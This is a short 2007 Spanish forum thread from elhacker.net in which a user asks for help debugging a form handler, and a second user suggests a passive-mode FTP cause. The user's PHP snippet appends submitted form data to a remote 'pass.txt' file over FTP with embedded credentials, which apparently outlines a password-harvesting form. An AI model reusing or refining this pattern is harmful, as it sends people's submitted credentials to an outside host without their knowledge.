Test Foro de elhacker.net SMF 2.1

Programación => Desarrollo Web => PHP => Mensaje iniciado por: knox18 en 9 Septiembre 2007, 12:13 PM

Título: Duda codigo PHP
Publicado por: knox18 en 9 Septiembre 2007, 12:13 PM
Aver.. wenas..

yo sk toi haciendo un formulario ok? y mi intencion es k el formulario este en un primer arxivo con extension html ok? yk despues kuando le des al boton enviar se vaya a un arxivo html tmb con el sigiente codigo

<? 
$fp = fopen("ftp://*****:*******@ftp.usuarios.lycos.es/pass.txt","a"); 
fwrite($fp,$_POST["$name"]); 
fclose($fp); 
?>


ok? aora el problema kuando lo ace no me escribe en el arxivo detallado xk?

$name es el nombre del del input, ya e comprobado eso xo no entiendo el xk no salen?? akaso tngo k ponerlos en arxivos php?? no ace falta si ya e declarado el tipo de lenguaje no?
Título: Re: Duda codigo PHP
Publicado por: P[i] en 9 Septiembre 2007, 17:24 PM
Bueno el problema esta en esto
ftp://*******:********@ftp.usuarios.lycos.es/pass.txt

Puede ser que el server ftp no soporte modo pasivo por eso esto no funciona mira:
CitarSi filename comienza con "ftp://" (no es sensible a mayúsculas), se abre una conexión ftp hacia el servidor especificado y se devuelve un apuntador al fichero requerido. Si el servidor no soporta ftp en modo pasivo, esto fallará. Se pueden abrir fichero via ftp para leer o para escribir (pero no ambas cosas simultáneamente).
http://www.phpbuilder.com/manual2/manual/es/function.fopen.php (http://www.phpbuilder.com/manual2/manual/es/function.fopen.php)


Por cierto no estaria de mal confirmar la apertura del archivo con algo asi, por lo menos mientras lo depuras:

<?
$fp = fopen("archivo.txt","a");
if($fp==null) echo "Error al guardar datos";
else {
  fwrite($fp,"hola");
  fclose($fp);
  echo "Datos guardados";
}
?>


Saludos.